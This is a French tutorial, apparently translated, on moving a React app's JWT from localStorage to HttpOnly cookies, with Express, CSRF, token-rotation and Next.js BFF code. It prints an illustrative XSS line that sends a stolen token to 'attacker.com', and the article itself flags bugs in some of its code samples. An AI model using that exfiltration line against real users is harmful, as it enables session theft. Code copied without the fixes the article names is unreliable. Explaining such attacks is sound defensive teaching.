Déplacer le JWT d’une application React hors de localStorage vers des cookies HttpOnly
Découvrez pourquoi les JWT stockés en localStorage sont vulnérables à tout type d’XSS, comment les cookies HttpOnly avec les paramètres SameSite, de rotation et un BFF réduisent le risque, ainsi quels pièges persistent dans les applications React.
Sources: LocalStorage vs. HttpOnly Cookies: How to Actually Secure Your React App’s JWT
Le lieu où une application React stocke son token d’accès détermine le coût potentiel d’une faille de type cross-site scripting. Un JWT stocké dans localStorage peut être lu et extrait par n’importe quel script présent sur la page ; celui stocké dans un cookie HttpOnly ne le peut pas, bien que les cookies soulèvent plutôt des problèmes de falsification de requêtes entre sites. Ci-dessous, vous trouverez une comparaison des deux options, une configuration basée sur des cookies avec un backend Express, ainsi que les techniques de rotation, de CSRF et Backend-for-Frontend qui complètent ce système.
Deux options de stockage, deux modèles de menaces
Le navigateur ne fait pas la distinction entre vos scripts et ceux injectés, ce qui entraîne des comportements différents pour les deux emplacements habituels de stockage d’un JWT :
- localStorage est lisible par tout JavaScript de l’origine. La menace principale est le XSS ; les mesures d’atténuation consistent en une politique CSP stricte et en des opérations de nettoyage du contenu.
SameSite et de tokens CSRF.Pourquoi localStorage transforme XSS en prise de contrôle du compte
Tout script exécuté sur votre domaine a besoin de deux éléments pour voler le token :
// Any script running on your domain can do this:
const token = localStorage.getItem('access_token');
fetch('https://attacker.com/steal?token=' + token);
Le code injecté atteint les projets React par plus de voies que ce à quoi les équipes s’attendent :
dangerouslySetInnerHTMLavec du contenu que vous ne contrôlez pas.- Des paquets npm compromis, comme dans les incidents concernant
event-streametua-parser-js. - Des scripts modifiés provenant de CDN externes.
- Des générateurs de Markdown qui omettent la sanitisation.
- Des extensions de navigateur qui injectent du code dans la page.
JSX échappe les chaînes interpolées, mais cette protection disparaît dès que le code choisit de ne pas l’utiliser, généralement pour afficher du texte brut ou du contenu en format riche :
// ❌ NEVER do this with user-generated content
<div dangerouslySetInnerHTML={{ __html: user.bio }} />
// ❌ Or with rich text editors
<div dangerouslySetInnerHTML={{ __html: sanitizeHtml(user.content) }} />
Les outils de nettoyage aident, mais ils ont eux aussi fait l’objet de contournements. À titre de référence, voici le client localStorage bien connu : des outils pour stocker et lire le jeton, ainsi qu’un enveloppeur qui ajoute une en-tête Bearer.
// services/auth.ts
const TOKEN_KEY = 'access_token';
export const setToken = (token: string) => {
localStorage.setItem(TOKEN_KEY, token);
};
export const getToken = () => {
return localStorage.getItem(TOKEN_KEY);
};
export const removeToken = () => {
localStorage.removeItem(TOKEN_KEY);
};
// api/client.ts
import { getToken } from './auth';
export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
const token = getToken();
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
...options,
headers: {
'Content-Type': 'application/json',
...(token && { Authorization: `Bearer ${token}` }),
...options.headers,
},
});
return response;
};
C’est simple, et il n’est pas possible de le rendre résistant aux attaques XSS, car la conception exige que JavaScript lise le jeton.
Cookies HttpOnly par défaut
Le serveur définit le cookie, et chaque attribut comble une lacune spécifique :
Set-Cookie: access_token=eyJhbGciOiJIUzI1NiIs...;
HttpOnly;
Secure;
SameSite=Strict;
Path=/;
Max-Age=900
HttpOnlyle cache aux yeux dedocument.cookieet à tout accès depuis des scripts.Securele limite aux connexions HTTPS.SameSite=Strictempêche le navigateur de l’associer aux requêtes initiées par d’autres sites.
Max-Age=900 accorde au jeton d’accès une durée de vie de 15 minutes.Le client ne touche plus au jeton
React supprime les outils de stockage ainsi que l’en-tête correspondant. La ligne essentielle est credentials: 'include', qui fait en sorte que fetch envoie les cookies. En cas de réponse 401, le mécanisme de traitement met à jour le jeton et renvoie la demande, ou redirige vers la page de connexion.
// api/client.ts
// No manual Authorization header needed!
export const apiClient = async (endpoint: string, options: RequestInit = {}) => {
const response = await fetch(`${API_BASE_URL}${endpoint}`, {
...options,
credentials: 'include', // CRITICAL: Sends cookies with requests
headers: {
'Content-Type': 'application/json',
...options.headers,
},
});
// If 401, try refreshing
if (response.status === 401) {
const refreshed = await refreshAccessToken();
if (refreshed) {
// Retry original request (browser auto-sends new cookie)
return apiClient(endpoint, options);
}
// Redirect to login
window.location.href = '/login';
}
return response;
};
Dans un environnement de production, limitez le nombre de tentatives à une seule afin qu’une mise à jour qui « réussit » alors que l’API renvoie encore 401 ne puisse pas se répéter indéfiniment, et partagez une seule mise à jour en cours entre plusieurs échecs simultanés, comme décrit dans la solution de mise à jour unique.
Le côté Express
Lors de la connexion, le serveur génère un jeton d’accès valable 15 minutes et un jeton de renouvellement valable 7 jours, en utilisant des secrets distincts. Il stocke ensuite un hash du jeton de renouvellement et définit les deux cookies. Le cookie de renouvellement utilise path: '/auth/refresh' afin de ne se rendre que vers cet endpoint. Le gestionnaire de renouvellement vérifie le JWT, le compare au hash stocké à l’aide de bcrypt et émet un nouveau cookie d’accès.
// auth.controller.ts
import { Response } from 'express';
import jwt from 'jsonwebtoken';
const ACCESS_TOKEN_EXPIRY = '15m';
const REFRESH_TOKEN_EXPIRY = '7d';
export const login = async (req, res: Response) => {
const { email, password } = req.body;
// Validate credentials...
const user = await validateUser(email, password);
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
process.env.ACCESS_TOKEN_SECRET!,
{ expiresIn: ACCESS_TOKEN_EXPIRY }
);
const refreshToken = jwt.sign(
{ userId: user.id, tokenVersion: user.tokenVersion },
process.env.REFRESH_TOKEN_SECRET!,
{ expiresIn: REFRESH_TOKEN_EXPIRY }
);
// Store refresh token hash in database (not the raw token!)
await storeRefreshToken(user.id, refreshToken);
// Set cookies
res.cookie('access_token', accessToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 15 * 60 * 1000, // 15 minutes
path: '/',
});
res.cookie('refresh_token', refreshToken, {
httpOnly: true,
secure: process.env.NODE_ENV === 'production',
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: '/auth/refresh', // Only sent to refresh endpoint
});
res.json({ success: true });
};
export const refresh = async (req, res: Response) => {
const refreshToken = req.cookies.refresh_token;
if (!refreshToken) {
return res.status(401).json({ error: 'No refresh token' });
}
try {
const payload = jwt.verify(refreshToken, process.env.REFRESH_TOKEN_SECRET!) as any;
// Check if token is in database and not revoked
const storedToken = await getRefreshToken(payload.userId);
if (!storedToken || !await bcrypt.compare(refreshToken, storedToken.hash)) {
return res.status(401).json({ error: 'Invalid refresh token' });
}
// Rotate: Issue new access token (and optionally new refresh token)
const newAccessToken = jwt.sign(
{ userId: payload.userId },
process.env.ACCESS_TOKEN_SECRET!,
{ expiresIn: ACCESS_TOKEN_EXPIRY }
);
res.cookie('access_token', newAccessToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 15 * 60 * 1000,
path: '/',
});
res.json({ success: true });
} catch {
// Clear cookies on failure
res.clearCookie('access_token');
res.clearCookie('refresh_token');
res.status(401).json({ error: 'Invalid token' });
}
};
Avant de le réutiliser : importez bcrypt ; notez que le renouvellement définit en dur secure: true tandis que la connexion vérifie les paramètres de l’environnement ; de plus, res.clearCookie('refresh_token') doit également spécifier path: '/auth/refresh', sinon le cookie n’est pas réellement supprimé.
CSRF dans un monde SameSite
Les attaques CSRF exploitent le fait que les cookies sont envoyés automatiquement. SameSite résout la plupart de ces problèmes dans le navigateur, et les navigateurs basés sur Chromium traitent les cookies sans cet attribut en mode Lax. Pour une SPA :
- Choisissez
Strictlorsque le front-end et l’API partagent un même domaine. - Choisissez
Laxlorsque les utilisateurs arrivent via des liens externes et doivent se connecter dès leur première navigation. - Évitez
Nonesauf si vous avez vraiment besoin de cookies entre sites et que vous comprenez les conséquences.
« Site » désigne le domaine enregistrable, de sorte qu’un sous-domaine apparenté compromis est toujours considéré comme du même site.
Ajout d’un jeton de double soumission
Pour une défense en profondeur, le serveur définit une valeur aléatoire dans un cookie lisible, React la copie dans l’en-tête X-CSRF-Token, et le serveur rejette les requêtes où ces deux valeurs diffèrent.
// Backend sets a non-HttpOnly CSRF cookie
res.cookie('csrf_token', generateRandomToken(), {
httpOnly: false, // React needs to read this
secure: true,
sameSite: 'strict',
});
// React reads it and sends in header
const csrfToken = document.cookie
.split('; ')
.find(row => row.startsWith('csrf_token='))
?.split('=')[1];
fetch('/api/sensitive', {
method: 'POST',
credentials: 'include',
headers: {
'X-CSRF-Token': csrfToken,
},
});
Une page frauduleuse ne peut pas lire vos cookies en raison de la politique same-origin, ce qui l’empêche de générer l’en-tête correspondant. Avec SameSite=Strict et des règles CORS strictes, cela est souvent redondant, mais c’est une protection peu coûteuse contre les mauvaises configurations.
Rotations des tokens de renouvellement et détection de leur réutilisation
Les tokens d’accès courts associés à des tokens de renouvellement plus longs constituent la norme, mais un token de renouvellement volé permet encore des accès pendant plusieurs jours. Grâce à la rotation, chaque renouvellement génère un nouveau token de renouvellement et rend le précédent invalide ; si un token obsolète réapparaît, quelqu’un le réutilise, et la réaction appropriée est de révoquer toutes les sessions associées à ce compte.
// When refreshing, invalidate the old refresh token
export const refresh = async (req, res) => {
const incomingRefresh = req.cookies.refresh_token;
// Find user by refresh token
const user = await findUserByRefreshToken(incomingRefresh);
if (!user) {
// Possible token reuse! Clear all sessions.
await revokeAllUserTokens(user.id);
return res.status(401).json({ error: 'Token reuse detected' });
}
// Rotate: Generate new pair
const newRefresh = generateRefreshToken();
await replaceRefreshToken(incomingRefresh, newRefresh);
// If attacker had stolen old token, it's now invalid
// If legitimate user has old token (race condition), they'll need to re-auth
};
Corrigez d’abord un bug : à l’intérieur de if (!user), le code appelle revokeAllUserTokens(user.id) sur une valeur nulle. La détection réelle de la réutilisation doit identifier le propriétaire d’un jeton déjà expiré, généralement à travers un enregistrement de « famille de jetons ». On peut observer des faux positifs lorsque deux onglets se mettent à jour en même temps ; une courte fenêtre de tolérance aide. Le guide stratégique sur les jetons de renouvellement aborde plus en détail le côté serveur.
Préserver les jetons hors du client grâce à un BFF
Un Backend-for-Frontend est un serveur léger situé entre React et l’API réelle :
React App → BFF (Next.js API routes / Express) → Actual API
Il exécute les flux OAuth (Code d’autorisation avec PKCE), conserve les tokens dans des cookies HttpOnly chiffrés, gère le CSRF et élimine la plupart des configurations CORS, étant donné que le navigateur ne fait appel qu’à son propre domaine d’origine. Dans Next.js, un gestionnaire de route peut rediriger les identifiants vers le service d’authentification et transformer le token retourné en cookie :
// Next.js API Route (BFF pattern)
// pages/api/auth/[...nextauth].ts or app/api/auth/route.ts
import { NextRequest, NextResponse } from 'next/server';
export async function POST(req: NextRequest) {
const body = await req.json();
// Call actual auth service
const authRes = await fetch('https://internal-api.company.com/auth', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify(body),
});
const { access_token, refresh_token } = await authRes.json();
const response = NextResponse.json({ success: true });
// Set HttpOnly cookies
response.cookies.set('access_token', access_token, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 900,
});
return response;
}
Une version complète stockerait également le token de renouvellement et vérifierait authRes.ok avant le parsing. Un BFF est adapté lorsque l’on utilise des services OAuth tiers tels que Google ou GitHub, que l’API se trouve sur un autre domaine, que l’on souhaite séparer la logique d’authentification du bundle, ou que l’on utilise déjà Next.js.
Sélection d’une configuration
Pour la plupart des SPAs du même domaine, c’est là la configuration de base :
✅ HttpOnly cookies with:
- SameSite=Strict (or Lax)
- Secure flag
- Short-lived access tokens (5-15 min)
- Rotating refresh tokens (7 days)
- Token reuse detection
- CORS properly configure
Pour des API跨-domaine ou des clients mobiles, localStorage n’est acceptable que si l’on accepte le risque XSS et que l’on y remédie :
localStorage ONLY if:
- You implement strict CSP headers
- You audit all dependencies for XSS
- You don't use dangerouslySetInnerHTML
- You have a short token lifetime (< 15 min)
- You accept the XSS risk
Pour les exigences les plus strictes ou les protocoles d’entreprise, un BFF supprime les tokens du navigateur :
Backend-for-Frontend (BFF):
- React app talks to same-origin API routes
- API routes handle tokens in HttpOnly cookies
- React never touches JWTs
- Works with OAuth, SAML, enterprise auth
Checklist pour l’authentification basée sur des cookies
- Marquez les cookies d’authentification avec
HttpOnly,SecureetSameSite=Strict. - Gardez la durée de vie des tokens d’accès entre 5 et 15 minutes.
- Rotiez les tokens de renouvellement en détectant leur réutilisation.
- Envoyez
credentials: 'include'dans chaque appelfetchou axios. - Associez
Access-Control-Allow-Credentials: trueà une origine explicite. - Évitez d’inclure les cookies dans les journaux et les analyses.
- Supprimez les cookies du côté serveur via une endpoint
/logout, éventuellement avecClear-Site-Data: "cookies". - Fournissez néanmoins une politique de sécurité du contenu.
# Example secure headers
Content-Security-Policy: default-src 'self'; script-src 'self';
Set-Cookie: access_token=...; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=900
Clear-Site-Data: "cookies" # On logout
Conclusion
Les cookies HttpOnly ne rendent pas l’XSS inoffensif : un script injecté peut toujours envoyer des requêtes authentifiées tant que la page est ouverte. Ce qu’il ne peut pas faire, c’est emporter le jeton avec lui pour l’utiliser ailleurs. Cette différence, associée à une durée de vie courte et à un mécanisme de rotation, fait des cookies le choix par défaut idéal pour les applications web, bien qu’un CSP reste nécessaire en complément. Le CSRF est principalement géré par le paramètre SameSite ainsi que par un jeton de soumission double facultatif, tandis que l’XSS reste un risque persistant dans les codes React à forte dépendance. Lorsque l’authentification entre domaines rend les cookies peu pratiques, il est préférable de créer un petit BFF plutôt que de recourir à localStorage.